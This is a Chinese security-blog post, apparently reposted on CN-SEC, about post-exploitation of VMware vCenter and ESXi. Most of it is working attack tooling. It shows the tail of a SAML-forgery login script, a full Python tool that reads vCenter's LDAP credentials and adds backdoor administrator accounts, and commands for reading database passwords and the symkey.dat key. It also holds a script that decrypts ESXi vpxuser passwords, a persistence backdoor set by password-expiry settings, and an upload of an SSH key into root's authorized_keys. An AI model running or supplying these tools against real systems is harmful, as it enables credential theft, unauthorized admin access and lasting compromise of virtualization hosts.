    cert_bin = s.getpeercert(True)
    x509 = crypto.load_certificate(crypto.FILETYPE_ASN1,cert_bin)
    hostname = x509.get_subject().CN
    print(f'[*] Found hostname {hostname} for {vcenter}')
    return hostname
except:
    print('[-] Failed obtaining hostname from SSL certificates for {vcenter}')
    raise

if name == 'main':
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--path', help='The path to the data.mdb file', required=True)
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-v', '--verbose', action='store_true', help='Print the extracted certificates')
args = parser.parse_args()

# Extract certificates
in_stream = open(args.path, 'rb')
bin_stream = bitstring.ConstBitStream(in_stream)
idp_cert = get_idp_cert(bin_stream, args.verbose)
trusted_cert_1, domain = get_trusted_cert1(bin_stream, args.verbose)
trusted_cert_2 = get_trusted_cert2(bin_stream, args.verbose)

# Generate SAML request
hostname = get_hostname(args.target)
req = saml_request(args.target)
t = fill_template(hostname, args.target, domain,req)
s = sign_assertion(t, trusted_cert_1, trusted_cert_2, idp_cert)
c = login(args.target, s)

```

  • 将获得的cookie,以这样的格式SPHERE-UI-JSESSIONIDAB9432B377A6A42ACBAE0EB0C5C616D3192.168.233.135/ui会话写入。

通过LDAP来添加管理员账号

  • vCenter默认安装了LDAP数据库,用来存储登录用户的信息,LDAP的凭据信息使用Likewise进行存储
  • /opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]' 这个命令可以看到LDAP配置信息
  • vmware的后渗透利用

  • 里面有dc和password的配置,我们就可以连接然后修改。
  • 添加用户
  • ldapadd -x -H ldap://192.168.233.135:389 -D "cn=192.168.233.135,ou=Domain Controllers,dc=vsphere,dc=local" -w "%trIbFH-Gv1jB[ni\"I&3" -f test.ldif
  • test.ldif中的内容为

dn: CN=test1,CN=Users,DC=aaa,DC=bbb
userPrincipalName: [email protected]
sAMAccountName: test1
cn: test1
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: P@ssWord123@@

  • 修改程序为(可以添加用户,将用户添加到管理员,到这里才能正常登录,还有删除用户,过的管理员列表的功能。)

```

python3

import os
import sys
import re

def RunCommand(cmd):
r = os.popen(cmd)
text = r.read()
r.close()
return text

def GetLDAPConfig():
print("[*] Try to get the config of LDAP")
result = RunCommand("/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'")

index1 = result.find("dcAccount")
dcAccount = result[index1:].split('\n')[0].split('"')[2]

index2 = result.find("dcAccountDN")
dcAccountDN = result[index2:].split('\n')[0].split('"')[2]

index3 = result.find("dcAccountPassword")
dcAccountPassword = result[index3:].split('\n')[0][36:-1]

print("[+] dcAccount: " + dcAccount)
print("[+] dcAccountDN: " + dcAccountDN)
print("[+] dcAccountPassword: " + dcAccountPassword)
return dcAccount,dcAccountDN,dcAccountPassword

def AddUser():
dcAccount,dcAccountDN,dcAccountPassword = GetLDAPConfig()

print("[*] Try to generate the ldif")
print("Eg.")
print("   username: test1")
print("   dn: CN=test1,CN=Users,DC=vsphere,DC=local")
print("   userPrincipalName: [email protected]")

username = input("input the new username: ")
dn = input("input the dn: ")
userPrincipalName = input("input the userPrincipalName: ")

ADDUSER = '''dn: {dn}

userPrincipalName: {userPrincipalName}
sAMAccountName: {username}
cn: {username}
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: P@ssWord123@@
'''
ADDUSER = ADDUSER.format(dn = dn, userPrincipalName = userPrincipalName, username = username)

print("[*] Confirm the ldif")
print(ADDUSER)

print("[*] Try to generate the ldif")
fo = open("adduser.ldif", "w")
fo.write(ADDUSER)
fo.close()

print("[*] Try to add the data")
command = "ldapadd -x -h {dcAccount} -D \"{dcAccountDN}\" -w \"{dcAccountPassword}\" -f adduser.ldif".format(dcAccount = dcAccount, dcAccountDN = dcAccountDN, dcAccountPassword = dcAccountPassword)
print("[+] Command: " + command)
result = RunCommand(command)
print(result)

print("[*] Try to clean the ldif")
os.remove("adduser.ldif")
print("\nAll done.")

print("[+] New user: " + userPrincipalName)
print("    Password: P@ssWord123@@")
print("[!] Remember to add it as an admin")

def AddAdmin():
dcAccount,dcAccountDN,dcAccountPassword = GetLDAPConfig()
base = dcAccountDN.split('s,')[1]
print("[*] Try to generate the ldif")
print("Eg.")
print(" user dn: CN=test1,CN=Users,DC=vsphere,DC=local")

dn = input("input the user dn: ")

ADDADMIN = '''dn: cn=Administrators,cn=Builtin,{base}

changetype: modify
add: member
member: {dn}
'''
ADDADMIN = ADDADMIN.format(base = base, dn = dn)

print("[*] Confirm the ldif")
print(ADDADMIN)

print("[*] Try to generate the ldif")
fo = open("addadmin.ldif", "w")
fo.write(ADDADMIN)
fo.close()

print("[*] Try to modify the data")
command = "ldapmodify -x -h {dcAccount} -D \"{dcAccountDN}\" -w \"{dcAccountPassword}\" -f addadmin.ldif".format(dcAccount = dcAccount, dcAccountDN = dcAccountDN, dcAccountPassword = dcAccountPassword)
print("[+] Command: " + command)
result = RunCommand(command)
print(result)

print("[*] Try to clean the ldif")
os.remove("addadmin.ldif")
print("\nAll done.")

def ChangePass():
dcAccount,dcAccountDN,dcAccountPassword = GetLDAPConfig()

print("[*] Try to generate the ldif")
print("Eg.")
print("   user dn: CN=test1,CN=Users,DC=vsphere,DC=local")
print("   new password: P@ssWord123@@45")

dn = input("input the user dn: ")
newpassword = input("input the new password: ")

CHANGEPASS = '''dn: {dn}

changetype: modify
replace: userPassword
userPassword: {newpassword}
'''
CHANGEPASS = CHANGEPASS.format(dn = dn, newpassword = newpassword)

print("[*] Confirm the ldif")
print(CHANGEPASS)

print("[*] Try to generate the ldif")
fo = open("changepass.ldif", "w")
fo.write(CHANGEPASS)
fo.close()

print("[*] Try to modify the data")
command = "ldapmodify -x -h {dcAccount} -D \"{dcAccountDN}\" -w \"{dcAccountPassword}\" -f changepass.ldif".format(dcAccount = dcAccount, dcAccountDN = dcAccountDN, dcAccountPassword = dcAccountPassword)
print("[+] Command: " + command)
result = RunCommand(command)
print(result)

print("[*] Try to clean the ldif")
os.remove("changepass.ldif")
print("\nAll done.")
print("[+] User: " + dn)  
print("[+] New Password: " + newpassword)

def DeleteUser():
dcAccount,dcAccountDN,dcAccountPassword = GetLDAPConfig()

print("[*] Try to input the user dn")
print("Eg.")
print("   user dn: CN=test1,CN=Users,DC=vsphere,DC=local")
dn = input("input the user dn: ")

print("[*] Try to delete the data")
command = "ldapdelete -x -h {dcAccount} -D \"{dcAccountDN}\" -w \"{dcAccountPassword}\" \"{dn}\"".format(dcAccount = dcAccount, dcAccountDN = dcAccountDN, dcAccountPassword = dcAccountPassword, dn = dn)
print("[+] Command: " + command)
result = RunCommand(command)
print(result)

print("\nAll done.")

def GetAdmin():
dcAccount,dcAccountDN,dcAccountPassword = GetLDAPConfig()
base = dcAccountDN.split('s,')[1]
adminbase = "cn=Administrators,cn=Builtin," + base

print("[*] Try to get the data")
command = "ldapsearch -x -h {dcAccount} -D \"{dcAccountDN}\" -w \"{dcAccountPassword}\" -b \"{adminbase}\"".format(dcAccount = dcAccount, dcAccountDN = dcAccountDN, dcAccountPassword = dcAccountPassword, adminbase = adminbase)
print("[+] Command: " + command)
result = RunCommand(command)
print("[+] Admin User:")

pattern_name = re.compile(r"member: (.*?),")
name = pattern_name.findall(result)
for i in range(len(name)):   
    print(" -  %s"%(name[i][3:]))

print("\nAll done.")

def GetUser():
dcAccount,dcAccountDN,dcAccountPassword = GetLDAPConfig()
base = dcAccountDN.split('s,')[1]
adminbase = "cn=Users," + base

print("[*] Try to get the data")
command = "ldapsearch -x -h {dcAccount} -D \"{dcAccountDN}\" -w \"{dcAccountPassword}\" -b \"{adminbase}\"".format(dcAccount = dcAccount, dcAccountDN = dcAccountDN, dcAccountPassword = dcAccountPassword, adminbase = adminbase)
print("[+] Command: " + command)
result = RunCommand(command)

print("[+] User:")

pattern_name = re.compile(r"dn: (.*?),")
name = pattern_name.findall(result)
for i in range(len(name)):   
    print(" -  %s"%(name[i][3:]))

print("\nAll done.")

if name == "main":

if len(sys.argv)!=2:
    print("vCenterLDAP_Manage.py")
    print("Use to manage the LDAP database.")   
    print("Usage:")
    print("%s <mode>"%(sys.argv[0]))
    print("mode:")
    print("- adduser")  
    print("- addadmin")
    print("- changepass")
    print("- deleteuser")
    print("- getadmin")
    print("- getuser")

    print("Eg.")
    print("%s adduser"%(sys.argv[0]))  
    sys.exit(0)
else:

    if sys.argv[1] == "adduser":  
        print("[*] Try to add a user")
        AddUser()

    elif sys.argv[1] == "addadmin":  
        print("[*] Try to add a user as an admin")
        AddAdmin()

    elif sys.argv[1] == "changepass":  
        print("[*] Try to change the password")
        ChangePass()

    elif sys.argv[1] == "deleteuser":  
        print("[*] Try to delete the user")
        DeleteUser()

    elif sys.argv[1] == "getadmin":  
        print("[*] Try to list the admin user")
        GetAdmin()

    elif sys.argv[1] == "getuser":  
        print("[*] Try to list the user")
        GetUser()

    else:
        print("[!] Wrong parameter")

```

  • 按照程序给的示例直接修改就行。

解密esxi密码和vpxuser的用法

  • 这个密码30天更新一次。
  • 首先获得数据库密码
  • cat /etc/vmware-vpx/vcdb.properties
  • windows的在C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
  • 里面有vmware的明文密码,例如

driver = org.postgresql.Driver
dbtype = PostgreSQL
url = jdbc:postgresql://localhost:5432/VCDB
username = vc
password = *tG(7gmN>Yl%bOvS
password.encrypted = false

  • /opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" 使用这个命令可以获得esxi的vpxuser用户的加密密码、
  • 获得解密密钥,解密密码。
  • cat /etc/vmware-vpx/ssl/symkey.dat 获得解密密钥。
  • windows路径为C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
  • 将加密密码放到password.enc中。
  • py -3 vpxuser.py .\symkey.dat .\password.enc password.txt 解密密码。

```
import base64
import sys

from Crypto.Cipher import AES

usage = """
Where is symkey.dat
Windows:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
Linux:/etc/vmware-vpx/ssl/symkey.dat

Where is psql
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/current/bin/psql
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

python3 decrypt.py symkey.dat password.enc password.txt
"""

def pkcs7unpadding(text):
length = len(text)
padding_length = ord(text[-1])
return text[0:length-padding_length]

def decrypt(key, enc_passwords):
passwords = []
key_bytes = bytes.fromhex(key)
for enc_password in enc_passwords:
content = base64.b64decode(enc_password)
iv_bytes = content[:16]
enc_password_bytes = content[16:]
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
password_bytes = cipher.decrypt(enc_password_bytes)
password = str(password_bytes, encoding='utf-8')
password = pkcs7unpadding(password)
passwords.append(password)
return passwords

def save_decrypt_password(path, passwords):
data = '\n'.join(passwords)
with open(path, 'w') as file:
file.write(data)

def get_encrypt_password(path):
encrypt_passwords = []
with open(path) as file:
for line in file:
encrypt_password = line.strip('*').strip()
encrypt_passwords.append(encrypt_password)
return encrypt_passwords

def get_key(path):
with open(path) as file:
key = file.read().strip()
return key

def main():
if len(sys.argv) != 4:
print(usage)
exit(1)
key = get_key(sys.argv[1])
encrypt_passwords = get_encrypt_password(sys.argv[2])
save_path = sys.argv[3]
passwords = decrypt(key, encrypt_passwords)
save_decrypt_password(save_path, passwords)

if name == 'main':
main()
```

  • 这个密码可以登录相应的esxi,甚至可以ssh登录esxi,但是esxi的ssh默认是证书登录。
  • 在vcenter中选中vcenter本身,然后配置-》高级设置里面VirtualCenter.VimPasswordExpirationInDays的设置时间,设置一个永远到不了的时间,就可以做一个后门。
  • 这个用户可以开启ssh远程登录,但是这个登录默认是证书登录的,没办法用vpxuser的密码尝试。
  • 但是我发现esxi具有上传命令,所以我们可以使用上传命令来上传一个auth。
  • 首先安装环境
  • https://code.vmware.com/tool/vsphere-cli/6.7 在这里下载cli文件linux版本,"windows版本问题比较多"
  • 之后sudo apt-get install lib32z1 lib32ncurses6 build-essential uuid uuid-dev libssl-dev perl-doc libxml-libxml-perl libcrypt-ssleay-perl libsoap-lite-perl 安装环境
  • tar zxvf VMware-vSphere-CLI-6.7.0-8156551.x86_64.tar.gz
  • sudo ./vmware-vsphere-cli-distrib/vmware-install.pl
  • 全部yes就可以。
  • 这里有个坑,运行的时候会报701位置的错误,需要sudo cpan 然后又install GAAS/libwww-perl-5.837.tar.gz 之后就可以了。
  • vifs --server 192.168.233.134 --username vpxuser --put /etc/ssh/ssh_host_rsa_key.pub /host/ssh_root_authorized_keys将pub公钥上传上去。就可以用私钥连接了。

微信:chaiyixia1,有疑问可以找我交流。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日02:01:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vmware的后渗透利用https://cn-sec.com/archives/1148884.html